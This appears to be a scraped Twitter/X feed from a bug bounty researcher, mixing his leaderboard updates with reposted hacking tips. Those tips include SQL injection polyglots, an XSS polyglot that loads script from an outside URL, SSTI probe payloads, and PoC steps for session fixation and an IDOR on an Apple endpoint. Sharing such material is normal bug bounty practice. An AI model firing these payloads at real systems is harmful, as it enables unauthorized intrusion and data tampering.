Santiko Kusnul Hakim

@HackenProof Security Researcher
🇮🇩 ind(o)p3nd3nt cybrscrty

[Santiko Kusnul Hakim @getnow1986]

Allah the Great the Merciful.

While awaiting for my 2 reports on Google, Allah gives me 2 paid reports again with low severity decision. And still safe my position on top 2# with total 43 reports just from 1 target and top 130# @HackenProof global leaderboard.

[Santiko Kusnul Hakim @getnow1986]

@0xfrsmln @code4rena someday inshaAllah

[Santiko Kusnul Hakim @getnow1986]

@HackenProof 1 type

[Santiko Kusnul Hakim @getnow1986]

Thanks to Allah azza wa jall and @HackenProof

After got top1# at Last Catch Summer Event last year (https://t.co/hu1Mhhp9X0), in this week I got my new achievement (one of my dream).

[HackenProof @HackenProof]

🏆 Winners of the Summer Security: Last Catch Event!

It was our second community event, and this time over 1,200 hackers took part!

An unforgettable month - and now it’s time to announce the winners 👇

[Santiko Kusnul Hakim @getnow1986]

@Tur24Tur @Bugcrowd I got the clue: old program is gold.

[Santiko Kusnul Hakim @getnow1986]

@philopentest BAC

[Santiko Kusnul Hakim @getnow1986]

@RahmatQurishi This is Atlassian

[cTino @tinopreter]

$4,500 in March isn’t much. Good thing is, April gives us another chance to go harder.

Take some time and read about how a simple $500 Email verification bypass was escalated into a $1,500 because I kept expanding the impact through other reports.
🔗 https://t.co/j2ZP873wiG

[Imran Parray @imranparray101]

We found a "Stored XSS in Jira Work Management and Escalated it to Orginisation Takeover".

https://t.co/FoxlQ2dfry

#bugbounty #cybersecurity

[Sapra @0xsapra]

@AmirMSafari Interesting discrepancy in node's qs module. Nice chall

https://t.co/fb5YHsgQmY
This should help people to figure solution :)

[BRute Logic @BRuteLogic]

#SQL Injection Polyglots
(Tested on MySQL & MariaDB)

&1/*'/*"/**/||1#\

and-1/*'/*"/**/||1--+\

It performs injection on single and double quotes scenarios plus quoteless ones (where the injection lands in 2 consecutive points of the query).

Use it in ALL input fields at once.

[VIEH Group @viehgroup]

Session Fixation → Account Takeover

POC →

1. Attacker generated a valid session ID before login
2. Sent the session link to the victim
3. Victim logged in using the same session
4. Server did not regenerate the session after authentication

[KNOXSS @KN0X55]

Use this #XSS payload and pop alert boxes EVERYWHERE! 😎👇

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(import(/https:https://t.co/GFfWFhdpK2))}//\76-->

[Santiko Kusnul Hakim @getnow1986]

@ynsmroztas @yeswehack Got it. InshaAllaah i will try it

[NaZaniin @n0aziXss]

⚠️SSTI (Server Side Template Injection)
Payload List → If evaluated as 49 - the target is vulnerable:

1. {7*7}
2. {7*7}
3. {{7*7}}
4. [[7*7]]
5. ${7*7}
6. @(7*7)
7. <?=7*7?>
8. <%= 7*7 %>
9. ${= 7*7}
10. {{= 7*7}}
11. ${{7*7}}
12. #{7*7}
13. [=7*7]

[Santiko Kusnul Hakim @getnow1986]

@Behi_Sec Intigriti

[NullSecurityX @NullSecurityX]

🚨 New Video Live 🚨

Email Uniqueness Bypass via Invisible Unicode Character Leading to Account Takeover

https://t.co/oflafPqMaY

#BugBounty #CyberSecurity

[kaden.eth @0xKaden]

here's an index of 460 common solidity vulnerabilities across 31 unique protocol types

scraped from over 10000 solodit findings

optimized for LLMs

https://t.co/3Wh3CyFzOf

[VIEH Group @viehgroup]

IDOR in APPLE 🍎

POC ->
1. Created two separate user accounts Account A (attacker), Account B (victim) on
https://t.co/veSFHH5zMp[.]com/publicLocator/deleteApplication
https://t.co/veSFHH5zMp[.]com/publicLocator/submitJoinForm

2. Logged in as Account B, submited the application form and captured the application ID of Account B

3. Now Log in as Account A and intercepted a request to the affected endpoint

4. Replaced Account A’s application ID with Account B’s application ID.

5. Forwarded the modified request

6. Server accepted the request without authorization validation

7. Logged back into Account B

8. Account B’s data is modified or deleted without consent

Impact ->
Any authenticated user can modify or delete other users’ data

Credited to the respected owner
#bugbounty #bughunting #bounty #hacking #ethicalhacking #infosec #cybersecurity #bugbountytips #bugbounty #bugbountytip #bughunting #infosecurity #OWASP #ApplicationSecurity #Bugcrowd #Hackerone #day_20